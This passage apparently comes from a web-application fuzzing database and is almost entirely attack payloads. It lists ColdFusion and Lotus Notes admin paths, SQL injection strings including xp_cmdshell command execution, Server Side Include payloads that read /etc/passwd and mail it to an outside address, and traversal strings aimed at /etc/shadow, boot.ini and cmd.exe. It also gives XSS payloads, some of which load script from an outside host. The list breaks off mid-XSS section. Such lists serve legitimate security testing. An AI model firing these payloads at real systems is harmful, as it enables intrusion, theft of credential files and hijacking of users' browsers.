CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> 